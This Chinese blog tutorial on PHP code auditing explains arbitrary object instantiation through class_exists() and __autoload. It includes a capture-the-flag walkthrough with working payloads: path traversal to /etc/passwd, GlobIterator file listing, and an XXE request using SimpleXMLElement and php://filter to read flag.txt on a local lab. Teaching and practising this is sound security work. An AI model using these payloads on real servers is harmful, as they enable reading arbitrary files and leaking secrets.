专栏首页代码审计PHP代码审计03之实例化任意对象漏洞

PHP代码审计03之实例化任意对象漏洞

前言

根据红日安全写的文章,学习PHP代码审计的第三节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完相关知识点,会用一道CTF题目来加深巩固。之前分别学习讲解了in_array函数缺陷和filter_var函数缺陷,有兴趣的可以去看看: PHP代码审计01之in_array()函数缺陷 PHP代码审计02之filter_var()函数缺陷

漏洞分析

下面我们看第一题,代码如下:

<?php
function __autoload($className) {
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller->render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this->template = $template;
    $this->variables = $variables;
  }

  public function render() {
    if ($this->variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}
?>

这段代码有两处漏洞,第一处是文件包含漏洞,现在看代码第八行,这里用到了class_exists()函数来判断用户传过来的控制器是否存在。现在看一下PHP手册对这个函数的解释。

通过看上面的解释,我们知道,如果不指定第二个参数,默认情况下,如果本程序存在__autoload()函数,如果检查的类不存在,那么class_exists()函数就会去调用它。这道题的文件包含漏洞,就出现在这里。如果PHP版本在5~5.3之间,就可以使用路径穿越来包含任意文件,比如类名为../../../../../etc/passwd的查找,那么将查看passwd的内容。 第二处漏洞是在上面代码的第10行,我们发现实例化的类名和传入的参数都是我们可以控制的,所以我们可以通过这个漏洞调用PHP代码库的任意构造构造函数。比如可以使用PHP内置类SimpleXMLElement来进行XXE攻击,看一下PHP手册对这个函数的解释:

功能就是用来表示XML文档中的元素。详细的请看下面,重点是第六条,下面要用到它。

  1. SimpleXMLElement::addAttribute-向SimpleXML元素添加属性
  2. SimpleXMLElement::addChild-向XML节点添加子元素
  3. SimpleXMLElement::asXML-基于SimpleXML元素返回格式良好的XML字符串
  4. SimpleXMLElement::attributes-标识元素的属性
  5. SimpleXMLElement::children-查找给定节点的子节点
  6. SimpleXMLElement::__construct-创建新的SimpleXMLElement对象
  7. SimpleXMLElement::count-计算元素的子级
  8. ExtSimpleNamespaces::GetDocElement-在文档命名空间中声明
  9. SimpleXMLElement::getName-获取XML元素的名称
  10. SimpleXMLElement::getNamespaces-返回文档中使用的命名空间
  11. SimpleXMLElement::registerXPathNamespace-为下一个XPath查询创建前缀/ns上下文
  12. SimpleXMLElement::saveXML-别名SimpleXMLElement::asXML
  13. SimpleXMLElement::__toString -返回字符串内容
  14. SimpleXMLElement::xpath-对XML数据运行XPath查询

为了便于理解,用一小段代码来说明:

<?php
$xml = <<<EOF
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///C:Windows/win.ini">
]>
<x>&xxe;</x>
EOF;
$xml_class= new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>

查看系统win.ini文件,效果如下图:

CTF练习

通过上面的学习分析,是不是对实例化漏洞和XXE漏洞有了一点点的理解呢?下面我们来做一道CTF题目来练习一下吧,这道题考察的就是实例化漏洞和XXE漏洞。现在我们看具体代码:

<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);
$classname = isset($_GET['name']) ? $_GET['name']:null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if (class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'$value'.'<br>';
}
?>

我们把注意力放在class_exists()函数这里,上面我们说过了,这个函数它会去检查类是否定义,如果不存在的话,就会调用程序中的 __autoload 函数。我们发现上面没有__autoload 函数,是用spl_autoload_register注册了和__autoload()差不多的,这里输出404信息。 我们仔细看上面的代码第12~16行,我们发现这里的类和类里面的参数都是我们可以控制的,满足了上面咱们提到的实例化漏洞。也就是说,我们可以调用PHP的内置类来完成我们的攻击。 先用GlobIterator类来寻找flag文件的名字,PHP手册对这个类的构造函数定义如下:

通过上图,我们知道,第一个参数是必须的的,也就是搜索的文件名,第二个参数为选择文件的哪个信息作为键名。咱们先搜一下.txt文件。我们构造payload如下:

http://localhost/DMSJ/day3/index.php?name=GlobIterator&param=*.txt

效果如下图,我们发现了flag.txt的文件。

下一步,就是查看这个文件,获取flag。用到的内置类为SimpleXMLElement,上面简单的提到了一下,现在就来使用它来进行XXE攻击来查看flag.txt文件的内容。这里需要注意一点:要结合PHP流的使用,因为当文件中存在: < > & ' " 等符号时会导致XML解析错误。我们用PHP流进行base_64编码输出就可以了。 什么是PHP流呢?这里简单说一下,PHP提供了php://的协议允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器,主要提供如下访问方式来使用这些封装器:

php://stdin
php://stdout
php://stderr
php://input
php://output
php://fd
php://memory
php://temp
php://filter

咱们用的最多的是php://input、php://output、php://filter。这里咱们就用php://filter,它是一个文件操作的协议,可以对文件进行读写操作,具体看下表:

read参数值可为:

  • string.strip_tags: 将数据流中的所有html标签清除
  • string.toupper: 将数据流中的内容转换为大写
  • string.tolower: 将数据流中的内容转换为小写
  • convert.base64-encode: 将数据流中的内容转换为base64编码
  • convert.base64-decode:解码 这样是不是清楚许多了呢?那就构造如下payload:
http://localhost/DMSJ/day3/index.php?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/phpstudy_pro/WWW/DMSJ/day3/flag.txt">]><x>%26xxe;</x>&param2=2

上面payload中的param2=2,实际上这里2对应的模式是 LIBXML_NOENT,具体效果如下图:

解码一下,如下:

我们拿到了flag。

小结

通过这篇文章的讲解,是不是对实例化漏洞和XXE漏洞有了更多的理解呢?下一篇文章会对strpos使用不当引发漏洞进行学习和分析,一起努力吧!

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • [红日安全]代码审计Day3 - 实例化任意对象漏洞

    大家好,我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目,供大家学习交流,我们给这个项目起了一个名字叫 PHP-Audit-Labs 。...

    红日安全
  • 看代码学PHP渗透(3) - 实例化任意对象漏洞

    大家好,我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目,供大家学习交流,我们给这个项目起了一个名字叫 PHP-Audit-Labs 。...

    用户1631416
  • 【代码审计】任意文件读取漏洞实例

    大多数网站都提供读取文件功能,一般实现过程是,根据参数filename的值,获得该文件在网站上的绝对路径,读取文件。 这里,通过两个任意文件读取漏洞实例...

    Bypass
  • 【代码审计】任意文件删除漏洞实例

    在一个网站中,涉及文件删除操作的函数,如果文件名可控,将可能存在任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。好久没更新代码审计的文章了...

    Bypass
  • PHP代码审计05之正则使用不当

    根据红日安全写的文章,学习PHP代码审计的第五节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完题目会用一道CTF的题目和实例来加深巩...

    雪痕@
  • 代码审计之任意文件下载漏洞案例分享

    继上次审计HDWiki之后,最近拿到一套新的源码Ear_Music_20180510_UTF8最新版进行审计,发现这套cms还是比较安全的,而当我审计遇到一处下...

    FB客服
  • 潜藏在PHP安全的边缘——浅谈PHP反序列化漏洞

    最近在研究代码审计漏洞的时候,特别注意了一下PHP反序列化漏洞,该漏洞又被成为PHP对象注入,个人感觉比较有意思,所以通过通俗易懂的语言来简单说一下PHP反序列...

    Gcow安全团队
  • 关于代码安全审计,这里有一份权威指南

    代码安全审计是查找代码中安全漏洞的方法。在“安全左移”的发展趋势下,代码审计逐渐成为确保代码质量的一个关键环节。代码安全审计通常可以分为:自动化审计和人工审计。...

    公众号爱国小白帽
  • 代码审计 | 利用思维导图快速读懂框架和理清思路

    html/javascript/dom元素使用,主要是为了挖掘xss漏洞,jquery 主要写一些涉及到CSRF脚本使用的或者DOM型XSS,JSON劫持等

    HACK学习

扫码关注云+社区

领取腾讯云代金券